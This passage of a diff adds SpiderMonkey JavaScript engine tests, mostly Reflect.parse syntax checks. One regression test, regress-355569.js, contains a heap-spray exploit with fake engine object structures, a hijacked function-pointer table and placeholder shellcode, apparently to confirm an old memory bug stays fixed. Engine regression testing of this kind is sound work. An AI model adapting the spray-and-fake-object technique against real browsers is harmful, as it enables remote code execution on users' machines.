ident("baz"))], + ident("p")); + +// FormerlyES6 generator comprehension with multiple ComprehensionIf. + +assertExpr("(for (x of foo) x)", + genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo"))], null, "modern")); +assertExpr("(for (x of foo) if (c1) x)", + genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")), + compIf(ident("c1"))], null, "modern")); +assertExpr("(for (x of foo) if (c1) if (c2) x)", + genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")), + compIf(ident("c1")), compIf(ident("c2"))], null, "modern")); + +assertExpr("(for (x of foo) if (c1) for (y of bar) x)", + genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")), + compIf(ident("c1")), + compOfBlock(ident("y"), ident("bar"))], null, "modern")); +assertExpr("(for (x of foo) if (c1) for (y of bar) if (c2) x)", + genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")), + compIf(ident("c1")), + compOfBlock(ident("y"), ident("bar")), + compIf(ident("c2"))], null, "modern")); +assertExpr("(for (x of foo) if (c1) if (c2) for (y of bar) if (c3) if (c4) x)", + genExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")), + compIf(ident("c1")), compIf(ident("c2")), + compOfBlock(ident("y"), ident("bar")), + compIf(ident("c3")), compIf(ident("c4"))], null, "modern")); + +// NOTE: it would be good to test generator expressions both with and without upvars, just like functions above. + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/generators.js b/js/src/tests/js1_8_5/reflect-parse/generators.js new file mode 100644 index 000000000..eafdb1cbc --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/generators.js @@ -0,0 +1,17 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// generators + +assertDecl("function gen(x) { yield }", genFunDecl("legacy", ident("gen"), [ident("x")], blockStmt([exprStmt(yieldExpr(null))]))); +assertExpr("(function(x) { yield })", genFunExpr("legacy", null, [ident("x")], blockStmt([exprStmt(yieldExpr(null))]))); +assertDecl("function gen(x) { yield 42 }", genFunDecl("legacy", ident("gen"), [ident("x")], blockStmt([exprStmt(yieldExpr(lit(42)))]))); +assertExpr("(function(x) { yield 42 })", genFunExpr("legacy", null, [ident("x")], blockStmt([exprStmt(yieldExpr(lit(42)))]))); + +assertDecl("function* gen() {}", genFunDecl("es6", ident("gen"), [], blockStmt([]))); +assertExpr("(function*() {})", genFunExpr("es6", null, [], blockStmt([]))); +assertExpr("(function* gen() {})", genFunExpr("es6", ident("gen"), [], blockStmt([]))); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/lexicals.js b/js/src/tests/js1_8_5/reflect-parse/lexicals.js new file mode 100644 index 000000000..c42c43c32 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/lexicals.js @@ -0,0 +1,19 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// global let is var +assertGlobalDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]), + init: ident("foo") }])); +// function-global let is let +assertLocalDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]), + init: ident("foo") }])); +// block-local let is let +assertBlockDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]), + init: ident("foo") }])); + +assertDecl("const {x:y} = foo;", constDecl([{ id: objPatt([assignProp("x", ident("y"))]), + init: ident("foo") }])); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/location.js b/js/src/tests/js1_8_5/reflect-parse/location.js new file mode 100644 index 000000000..c1ddb86de --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/location.js @@ -0,0 +1,36 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// Source location information +var withoutFileOrLine = Reflect.parse("42"); +var withFile = Reflect.parse("42", {source:"foo.js"}); +var withFileAndLine = Reflect.parse("42", {source:"foo.js", line:111}); + +Pattern({ source: null, start: { line: 1, column: 0 }, end: { line: 1, column: 2 } }).match(withoutFileOrLine.loc); +Pattern({ source: "foo.js", start: { line: 1, column: 0 }, end: { line: 1, column: 2 } }).match(withFile.loc); +Pattern({ source: "foo.js", start: { line: 111, column: 0 }, end: { line: 111, column: 2 } }).match(withFileAndLine.loc); + +var withoutFileOrLine2 = Reflect.parse("foo +\nbar"); +var withFile2 = Reflect.parse("foo +\nbar", {source:"foo.js"}); +var withFileAndLine2 = Reflect.parse("foo +\nbar", {source:"foo.js", line:111}); + +Pattern({ source: null, start: { line: 1, column: 0 }, end: { line: 2, column: 3 } }).match(withoutFileOrLine2.loc); +Pattern({ source: "foo.js", start: { line: 1, column: 0 }, end: { line: 2, column: 3 } }).match(withFile2.loc); +Pattern({ source: "foo.js", start: { line: 111, column: 0 }, end: { line: 112, column: 3 } }).match(withFileAndLine2.loc); + +var nested = Reflect.parse("(-b + sqrt(sqr(b) - 4 * a * c)) / (2 * a)", {source:"quad.js"}); +var fourAC = nested.body[0].expression.left.right.arguments[0].right; + +Pattern({ source: "quad.js", start: { line: 1, column: 20 }, end: { line: 1, column: 29 } }).match(fourAC.loc); + +var generator = Reflect.parse("[ for \n(x of a) x+1 ]"); +Pattern({ start: { line: 2, column: 1 }, end: { line: 2, column: 2 } }).match(generator.body[0].expression.blocks[0].left.loc); + +// No source location + +assertEq(Reflect.parse("42", {loc:false}).loc, null); +program([exprStmt(lit(42))]).assert(Reflect.parse("42", {loc:false})); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/methodDefn.js b/js/src/tests/js1_8_5/reflect-parse/methodDefn.js new file mode 100644 index 000000000..cad9b4443 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/methodDefn.js @@ -0,0 +1,51 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// Bug 924672: Method definitions +assertExpr("b = { a() { } }", aExpr("=", ident("b"), + objExpr([{ key: ident("a"), value: funExpr(ident("a"), [], blockStmt([])), method: + true}]))); + +assertExpr("b = { *a() { } }", aExpr("=", ident("b"), + objExpr([{ key: ident("a"), value: genFunExpr("es6", ident("a"), [], blockStmt([])), method: + true}]))); + +// Method definitions without braces +assertError("({ a() void 0 })", SyntaxError); +assertError("({ a() 1 })", SyntaxError); +assertError("({ a() false })", SyntaxError); + +// getters and setters + +assertExpr("({ get x() { return 42 } })", + objExpr([ { key: ident("x"), + value: funExpr(ident("get x"), [], blockStmt([returnStmt(lit(42))])), + kind: "get" } ])); +assertExpr("({ set x(v) { return 42 } })", + objExpr([ { key: ident("x"), + value: funExpr(ident("set x"), [ident("v")], blockStmt([returnStmt(lit(42))])), + kind: "set" } ])); + +// Bug 1073809 - Getter/setter syntax with generators +assertExpr("({*get() { }})", objExpr([{ type: "Property", key: ident("get"), method: true, + value: genFunExpr("es6", ident("get"), [], blockStmt([]))}])); +assertExpr("({*set() { }})", objExpr([{ type: "Property", key: ident("set"), method: true, + value: genFunExpr("es6", ident("set"), [], blockStmt([]))}])); +assertError("({*get foo() { }})", SyntaxError); +assertError("({*set foo() { }})", SyntaxError); + +assertError("({ *get 1() {} })", SyntaxError); +assertError("({ *get \"\"() {} })", SyntaxError); +assertError("({ *get foo() {} })", SyntaxError); +assertError("({ *get []() {} })", SyntaxError); +assertError("({ *get [1]() {} })", SyntaxError); + +assertError("({ *set 1() {} })", SyntaxError); +assertError("({ *set \"\"() {} })", SyntaxError); +assertError("({ *set foo() {} })", SyntaxError); +assertError("({ *set []() {} })", SyntaxError); +assertError("({ *set [1]() {} })", SyntaxError); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/newTarget.js b/js/src/tests/js1_8_5/reflect-parse/newTarget.js new file mode 100644 index 000000000..3db2c2726 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/newTarget.js @@ -0,0 +1,42 @@ +// |reftest| skip-if(!xulRuntime.shell) +function testNewTarget() { + + // new.target is currently valid inside any non-arrow, non-generator function + assertInFunctionExpr("new.target", newTarget()); + + // even with gratuitous whitespace. + assertInFunctionExpr(`new. + target`, newTarget()); + + // invalid in top-level scripts + assertError("new.target", SyntaxError); + + // valid in arrow functions inside functions + assertInFunctionExpr("()=>new.target", arrowExpr([], newTarget())); + assertError("(() => new.target))", SyntaxError); + + // valid in generators, too! + assertStmt("function *foo() { new.target; }", genFunDecl("es6", ident("foo"), [], + blockStmt([exprStmt(newTarget())]))); + + // new.target is a member expression. You should be able to call, invoke, or + // access properties of it. + assertInFunctionExpr("new.target.foo", dotExpr(newTarget(), ident("foo"))); + assertInFunctionExpr("new.target[\"foo\"]", memExpr(newTarget(), literal("foo"))); + + assertInFunctionExpr("new.target()", callExpr(newTarget(), [])); + assertInFunctionExpr("new new.target()", newExpr(newTarget(), [])); + + // assignment to newTarget is an error + assertError("new.target = 4", SyntaxError); + + // only new.target is a valid production, no shorn names or other names + assertError("new.", SyntaxError); + assertError("new.foo", SyntaxError); + assertError("new.targe", SyntaxError); + + // obj.new.target is still a member expression + assertExpr("obj.new.target", dotExpr(dotExpr(ident("obj"), ident("new")), ident("target"))); +} + +runtest(testNewTarget); diff --git a/js/src/tests/js1_8_5/reflect-parse/proxyArgs.js b/js/src/tests/js1_8_5/reflect-parse/proxyArgs.js new file mode 100644 index 000000000..b821d92a9 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/proxyArgs.js @@ -0,0 +1,22 @@ +// |reftest| skip-if(!xulRuntime.shell) +// |reftest| skip-if(!xulRuntime.shell) +// bug 905774 + +// Proxy options +var opts = new Proxy({loc: false}, {}); +assertEq(Reflect.parse("0;", opts).loc === null, true); +opts.loc = true; +assertEq(Reflect.parse("0;", opts).loc !== null, true); +delete opts.loc; +assertEq(Reflect.parse("0;", opts).loc !== null, true); // default is true + +// Proxy builder +var builder = { + program: function (body) { return body.join(); }, + expressionStatement: function (expr) { return expr + ";" }, + literal: function (val) { return "" + val; } +}; +opts = {builder: new Proxy(builder, {})}; +assertEq(Reflect.parse("0xff;", opts), "255;"); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/reflect-parse/shell.js b/js/src/tests/js1_8_5/reflect-parse/shell.js new file mode 100644 index 000000000..665e3fe59 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/shell.js @@ -0,0 +1,66 @@ +loadRelativeToScript('PatternAsserts.js'); + +// various combinations of identifiers and destructuring patterns: +function makePatternCombinations(id, destr) +{ + return [ + [ id(1) ], + [ id(1), id(2) ], + [ id(1), id(2), id(3) ], + [ id(1), id(2), id(3), id(4) ], + [ id(1), id(2), id(3), id(4), id(5) ], + + [ destr(1) ], + [ destr(1), destr(2) ], + [ destr(1), destr(2), destr(3) ], + [ destr(1), destr(2), destr(3), destr(4) ], + [ destr(1), destr(2), destr(3), destr(4), destr(5) ], + + [ destr(1), id(2) ], + + [ destr(1), id(2), id(3) ], + [ destr(1), id(2), id(3), id(4) ], + [ destr(1), id(2), id(3), id(4), id(5) ], + [ destr(1), id(2), id(3), id(4), destr(5) ], + [ destr(1), id(2), id(3), destr(4) ], + [ destr(1), id(2), id(3), destr(4), id(5) ], + [ destr(1), id(2), id(3), destr(4), destr(5) ], + + [ destr(1), id(2), destr(3) ], + [ destr(1), id(2), destr(3), id(4) ], + [ destr(1), id(2), destr(3), id(4), id(5) ], + [ destr(1), id(2), destr(3), id(4), destr(5) ], + [ destr(1), id(2), destr(3), destr(4) ], + [ destr(1), id(2), destr(3), destr(4), id(5) ], + [ destr(1), id(2), destr(3), destr(4), destr(5) ], + + [ id(1), destr(2) ], + + [ id(1), destr(2), id(3) ], + [ id(1), destr(2), id(3), id(4) ], + [ id(1), destr(2), id(3), id(4), id(5) ], + [ id(1), destr(2), id(3), id(4), destr(5) ], + [ id(1), destr(2), id(3), destr(4) ], + [ id(1), destr(2), id(3), destr(4), id(5) ], + [ id(1), destr(2), id(3), destr(4), destr(5) ], + + [ id(1), destr(2), destr(3) ], + [ id(1), destr(2), destr(3), id(4) ], + [ id(1), destr(2), destr(3), id(4), id(5) ], + [ id(1), destr(2), destr(3), id(4), destr(5) ], + [ id(1), destr(2), destr(3), destr(4) ], + [ id(1), destr(2), destr(3), destr(4), id(5) ], + [ id(1), destr(2), destr(3), destr(4), destr(5) ] + ]; +} + +function runtest(main) { + try { + main(); + if (typeof reportCompare === 'function') + reportCompare(true, true); + } catch (exc) { + print(exc.stack); + throw exc; + } +} diff --git a/js/src/tests/js1_8_5/reflect-parse/stackOverflow.js b/js/src/tests/js1_8_5/reflect-parse/stackOverflow.js new file mode 100644 index 000000000..5fadbde4d --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/stackOverflow.js @@ -0,0 +1,8 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Bug 632024: no crashing on stack overflow +try { + Reflect.parse(Array(3000).join("x + y - ") + "z") +} catch (e) { } + +if (typeof reportCompare === 'function') + reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/reflect-parse/statements.js b/js/src/tests/js1_8_5/reflect-parse/statements.js new file mode 100644 index 000000000..1df86508b --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/statements.js @@ -0,0 +1,95 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// statements + +assertStmt("throw 42", throwStmt(lit(42))); +assertStmt("for (;;) break", forStmt(null, null, null, breakStmt(null))); +assertStmt("for (x; y; z) break", forStmt(ident("x"), ident("y"), ident("z"), breakStmt(null))); +assertStmt("for (var x; y; z) break", forStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), ident("z"))); +assertStmt("for (var x = 42; y; z) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), ident("y"), ident("z"))); +assertStmt("for (x; ; z) break", forStmt(ident("x"), null, ident("z"), breakStmt(null))); +assertStmt("for (var x; ; z) break", forStmt(varDecl([{ id: ident("x"), init: null }]), null, ident("z"))); +assertStmt("for (var x = 42; ; z) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), null, ident("z"))); +assertStmt("for (x; y; ) break", forStmt(ident("x"), ident("y"), null, breakStmt(null))); +assertStmt("for (var x; y; ) break", forStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), null, breakStmt(null))); +assertStmt("for (var x = 42; y; ) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), ident("y"), null, breakStmt(null))); +assertStmt("for (var x in y) break", forInStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), breakStmt(null))); +assertStmt("for (x in y) break", forInStmt(ident("x"), ident("y"), breakStmt(null))); +assertStmt("{ }", blockStmt([])); +assertStmt("{ throw 1; throw 2; throw 3; }", blockStmt([ throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))])); +assertStmt(";", emptyStmt); +assertStmt("if (foo) throw 42;", ifStmt(ident("foo"), throwStmt(lit(42)), null)); +assertStmt("if (foo) throw 42; else true;", ifStmt(ident("foo"), throwStmt(lit(42)), exprStmt(lit(true)))); +assertStmt("if (foo) { throw 1; throw 2; throw 3; }", + ifStmt(ident("foo"), + blockStmt([throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]), + null)); +assertStmt("if (foo) { throw 1; throw 2; throw 3; } else true;", + ifStmt(ident("foo"), + blockStmt([throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]), + exprStmt(lit(true)))); + + +assertStmt("foo: for(;;) break foo;", labStmt(ident("foo"), forStmt(null, null, null, breakStmt(ident("foo"))))); +assertStmt("foo: for(;;) continue foo;", labStmt(ident("foo"), forStmt(null, null, null, continueStmt(ident("foo"))))); +assertStmt("with (obj) { }", withStmt(ident("obj"), blockStmt([]))); +assertStmt("with (obj) { obj; }", withStmt(ident("obj"), blockStmt([exprStmt(ident("obj"))]))); +assertStmt("while (foo) { }", whileStmt(ident("foo"), blockStmt([]))); +assertStmt("while (foo) { foo; }", whileStmt(ident("foo"), blockStmt([exprStmt(ident("foo"))]))); +assertStmt("do { } while (foo);", doStmt(blockStmt([]), ident("foo"))); +assertStmt("do { foo; } while (foo)", doStmt(blockStmt([exprStmt(ident("foo"))]), ident("foo"))); +assertStmt("switch (foo) { case 1: 1; break; case 2: 2; break; default: 3; }", + switchStmt(ident("foo"), + [ caseClause(lit(1), [ exprStmt(lit(1)), breakStmt(null) ]), + caseClause(lit(2), [ exprStmt(lit(2)), breakStmt(null) ]), + defaultClause([ exprStmt(lit(3)) ]) ])); +assertStmt("switch (foo) { case 1: 1; break; case 2: 2; break; default: 3; case 42: 42; }", + switchStmt(ident("foo"), + [ caseClause(lit(1), [ exprStmt(lit(1)), breakStmt(null) ]), + caseClause(lit(2), [ exprStmt(lit(2)), breakStmt(null) ]), + defaultClause([ exprStmt(lit(3)) ]), + caseClause(lit(42), [ exprStmt(lit(42)) ]) ])); +assertStmt("try { } catch (e) { }", + tryStmt(blockStmt([]), + [], + catchClause(ident("e"), null, blockStmt([])), + null)); +assertStmt("try { } catch (e) { } finally { }", + tryStmt(blockStmt([]), + [], + catchClause(ident("e"), null, blockStmt([])), + blockStmt([]))); +assertStmt("try { } finally { }", + tryStmt(blockStmt([]), + [], + null, + blockStmt([]))); +assertStmt("try { } catch (e if foo) { } catch (e if bar) { } finally { }", + tryStmt(blockStmt([]), + [ catchClause(ident("e"), ident("foo"), blockStmt([])), + catchClause(ident("e"), ident("bar"), blockStmt([])) ], + null, + blockStmt([]))); +assertStmt("try { } catch (e if foo) { } catch (e if bar) { } catch (e) { } finally { }", + tryStmt(blockStmt([]), + [ catchClause(ident("e"), ident("foo"), blockStmt([])), + catchClause(ident("e"), ident("bar"), blockStmt([])) ], + catchClause(ident("e"), null, blockStmt([])), + blockStmt([]))); + + +// Bug 632028: yield outside of a function should throw +(function() { + var threw = false; + try { + Reflect.parse("yield 0"); + } catch (expected) { + threw = true; + } + assertEq(threw, true); +})(); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/templateStrings.js b/js/src/tests/js1_8_5/reflect-parse/templateStrings.js new file mode 100644 index 000000000..c87ba96b8 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/templateStrings.js @@ -0,0 +1,40 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// template strings +assertStringExpr("`hey there`", literal("hey there")); +assertStringExpr("`hey\nthere`", literal("hey\nthere")); +assertExpr("`hey${\"there\"}`", templateLit([lit("hey"), lit("there"), lit("")])); +assertExpr("`hey${\"there\"}mine`", templateLit([lit("hey"), lit("there"), lit("mine")])); +assertExpr("`hey${a == 5}mine`", templateLit([lit("hey"), binExpr("==", ident("a"), lit(5)), lit("mine")])); +assertExpr("`hey${`there${\"how\"}`}mine`", templateLit([lit("hey"), + templateLit([lit("there"), lit("how"), lit("")]), lit("mine")])); +assertExpr("func`hey`", taggedTemplate(ident("func"), template(["hey"], ["hey"]))); +assertExpr("func`hey${\"4\"}there`", taggedTemplate(ident("func"), + template(["hey", "there"], ["hey", "there"], lit("4")))); +assertExpr("func`hey${\"4\"}there${5}`", taggedTemplate(ident("func"), + template(["hey", "there", ""], ["hey", "there", ""], + lit("4"), lit(5)))); +assertExpr("func`hey\r\n`", taggedTemplate(ident("func"), template(["hey\n"], ["hey\n"]))); +assertExpr("func`hey${4}``${5}there``mine`", + taggedTemplate(taggedTemplate(taggedTemplate( + ident("func"), template(["hey", ""], ["hey", ""], lit(4))), + template(["", "there"], ["", "there"], lit(5))), + template(["mine"], ["mine"]))); + +// multi-line template string - line numbers +var node = Reflect.parse("`\n\n ${2}\n\n\n`"); +Pattern({loc:{start:{line:1, column:0}, end:{line:6, column:1}, source:null}, type:"Program", +body:[{loc:{start:{line:1, column:0}, end:{line:6, column:1}, source:null}, +type:"ExpressionStatement", expression:{loc:{start:{line:1, column:0}, end:{line:6, column:1}, +source:null}, type:"TemplateLiteral", elements:[{loc:{start:{line:1, column:0}, end:{line:3, +column:5}, source:null}, type:"Literal", value:"\n\n "}, {loc:{start:{line:3, column:5}, +end:{line:3, column:6}, source:null}, type:"Literal", value:2}, {loc:{start:{line:3, column:6}, +end:{line:6, column:1}, source:null}, type:"Literal", value:"\n\n\n"}]}}]}).match(node); + + +assertStringExpr("\"hey there\"", literal("hey there")); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/regress/browser.js b/js/src/tests/js1_8_5/regress/browser.js new file mode 100644 index 000000000..e69de29bb --- /dev/null +++ b/js/src/tests/js1_8_5/regress/browser.js diff --git a/js/src/tests/js1_8_5/regress/regress-355569.js b/js/src/tests/js1_8_5/regress/regress-355569.js new file mode 100644 index 000000000..b14c83cb6 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-355569.js @@ -0,0 +1,127 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ + +/* This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ + +var bug = 355569; +var actual = ''; +var expect = ''; + +printBugNumber (bug); +printStatus (summary); + +var targetAddress = 0x12030010; +var sprayParams = { + chunkSize: 16 * 1024 * 1024, + chunkCount: 16, + chunkMarker: 0xdeadface, + chunkAlign: 0x1000, + reservedSize: 1024 +}; + +function makeExploitCode() { + /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */ + return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2"; +} + +/*==========================================================================*/ +/*==========================================================================*/ + +function packData(template, A) { + var n = 0, result = "", vl; + for(var i = 0; i < template.length; i++) { + var ch = template.charAt(i); + if(ch == "s" || ch == "S") { + vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff); + } else if(ch == "l" || ch == "L") { // XXX endian + vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16); + } else if(ch == "=") { + result += String(A[n++]); + } + } + return result; +} +function buildStructure(worker, address) { + var offs = {}, result = "", context = { + append: function(k, v) { offs[k] = result.length * 2; result += v; }, + address: function(k) { return address + ((k && offs[k]) || 0); } + }; worker(context); result = ""; worker(context); return result; +} +function repeatToLength(s, L) { + if(L <= s.length) { return s.substring(0, L); } + while(s.length <= L/2) { s += s; } + return s + s.substring(0, L - s.length); +} +function sprayData(data, params, rooter) { + var marker = packData("L", [ params.chunkMarker ]); + data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length); + data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2); + for(var i = 0; i < params.chunkCount; i++) { + rooter[i] = marker + data + i; + } +} + +function T_JSObject(map, slots) +{ return packData("LL", arguments); } +function T_JSObjectMap(nrefs, ops, nslots, freeslot) +{ return packData("LLLL", arguments); } +function T_JSObjectOps( + newObjectMap, destroyObjectMap, lookupProperty, defineProperty, + getProperty, setProperty, getAttributes, setAttributes, + deleteProperty, defaultValue, enumerate, checkAccess, + thisObject, dropProperty, call, construct, + xdrObject, hasInstance, setProto, setParent, + mark, clear, getRequiredSlot, setRequiredSlot +) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); } + +function T_JSXML_LIST( + object, domnode, parent, name, xml_class, xml_flags, + kids_length, kids_capacity, kids_vector, kids_cursors, + xml_target, xml_targetprop +) { return packData("LLLLSS LLLL LL", arguments); } +function T_JSXML_ELEMENT( + object, domnode, parent, name, xml_class, xml_flags, + kids_length, kids_capacity, kids_vector, kids_cursors, + nses_length, nses_capacity, nses_vector, nses_cursors, + atrs_length, atrs_capacity, atrs_vector, atrs_cursors +) { return packData("LLLLSS LLLL LLLL LLLL", arguments); } + +/*==========================================================================*/ +/*==========================================================================*/ + +function makeExploitData(address) { + return buildStructure(function(ctx) { + ctx.append("xml-list", + T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0)); + ctx.append("xml-kids-vector", + packData("L", [ ctx.address("xml-element") ])); + ctx.append("xml-element", + T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0)); + ctx.append("object", + T_JSObject(ctx.address("object-map"), 0)); + ctx.append("object-map", + T_JSObjectMap(0, ctx.address("object-ops"), 0, 0)); + ctx.append("object-ops", + T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0)); + ctx.append("exploit-code", + makeExploitCode(ctx)); + }, address); +} + +function exploit() { + sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {}); + var numobj = new Number(targetAddress >> 1); + printStatus("probably not exploitable"); +} + +try +{ + exploit(); +} +catch(ex) +{ +} + +reportCompare(expect, actual); + diff --git a/js/src/tests/js1_8_5/regress/regress-373843.js b/js/src/tests/js1_8_5/regress/regress-373843.js new file mode 100644 index 000000000..677e33353 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-373843.js @@ -0,0 +1,13 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +if (typeof disassemble != 'undefined') +{ + var func = disassemble(function() { return "c\\d"; }) + + // The disassembled function will contain a bytecode "string" with the content of the string next to it. + // Check if that string isn't over-escaped i.e. \\ isn't escaped to \\\\ . + assertEq(func.indexOf("\\\\\\\\"), -1) +} + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-383902.js b/js/src/tests/js1_8_5/regress/regress-383902.js new file mode 100644 index 000000000..ed9559746 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-383902.js @@ -0,0 +1,41 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var c = 0; + +function f(a) { + const b = a; + try { + eval('"use strict"; b = 1 + a; c = 1'); + assertEq(0, 1); + } catch (e) { + assertEq(e.name, 'TypeError'); + assertEq(0, c); + assertEq(a, b); + } +} + +var w = 42; +f(w); + +c = 2; +try { + eval('"use strict"; function g(x) { const y = x; y = 1 + x; } c = 3'); +} catch (e) { + assertEq(0, 1); +} + +c = 4; +try { + eval('"use strict"; const z = w; z = 1 + w; c = 5'); + assertEq(0, 1); +} catch (e) { + assertEq(e.name, 'TypeError'); + assertEq(4, c); + assertEq('z' in this, false); +} + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-469758.js b/js/src/tests/js1_8_5/regress/regress-469758.js new file mode 100644 index 000000000..27fa1ed8a --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-469758.js @@ -0,0 +1,14 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var err; +try { + {let i=1} + {let j=1; [][j][2]} +} catch (e) { + err = e; +} +assertEq(err instanceof TypeError, true); +assertEq(err.message, "[][j] is undefined"); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-477053.js b/js/src/tests/js1_8_5/regress/regress-477053.js new file mode 100644 index 000000000..934a502cc --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-477053.js @@ -0,0 +1,25 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ + +/* This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ + + +var summary = 'Do not assert: v.isString()'; +var BUGNUMBER = 477053; +var actual = ''; +var expect = ''; + +printBugNumber(BUGNUMBER); + +try +{ + function f() { eval("with(arguments)throw [];"); } + f(); +} +catch(ex) +{ +} + +reportCompare(expect, actual); + diff --git a/js/src/tests/js1_8_5/regress/regress-500528.js b/js/src/tests/js1_8_5/regress/regress-500528.js new file mode 100644 index 000000000..bf2908e20 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-500528.js @@ -0,0 +1,22 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: Jason Orendorff + */ + +// This test appeared in bug 497789 comment 78. + +var a = {x: 'a'}, + b1 = Object.create(a), + c1 = Object.create(b1), + b2 = Object.create(a), + c2 = Object.create(b2); + +b2.x = 'b'; // foreshadowing a.x + +var s = ''; +for each (var obj in [c1, c2]) + s += obj.x; +assertEq(s, 'ab'); + +reportCompare(0, 0, "Property cache soundness: objects with the same shape but different prototypes."); diff --git a/js/src/tests/js1_8_5/regress/regress-533876.js b/js/src/tests/js1_8_5/regress/regress-533876.js new file mode 100644 index 000000000..e44bc8a4f --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-533876.js @@ -0,0 +1,23 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributors: Gary Kwong and Jason Orendorff + */ + +var savedEval = eval; +var x = [0]; +eval(); + +x.__proto__ = this; // x has non-dictionary scope +try { + DIE; +} catch(e) { +} + +delete eval; // force dictionary scope for global +gc(); +eval = savedEval; +var f = eval("(function () { return /x/; })"); +x.watch('x', f); // clone property from global to x, including SPROP_IN_DICTIONARY flag + +reportCompare("ok", "ok", "bug 533876"); diff --git a/js/src/tests/js1_8_5/regress/regress-541255-3.js b/js/src/tests/js1_8_5/regress/regress-541255-3.js new file mode 100644 index 000000000..e352429b2 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-541255-3.js @@ -0,0 +1,13 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributors: Gary Kwong and Jason Orendorff + */ + +function f(y) { + eval("{ let z=2, w=y; (function () { w.p = 7; })(); }"); +} +var x = {}; +f(x); +assertEq(x.p, 7); +reportCompare(0, 0, 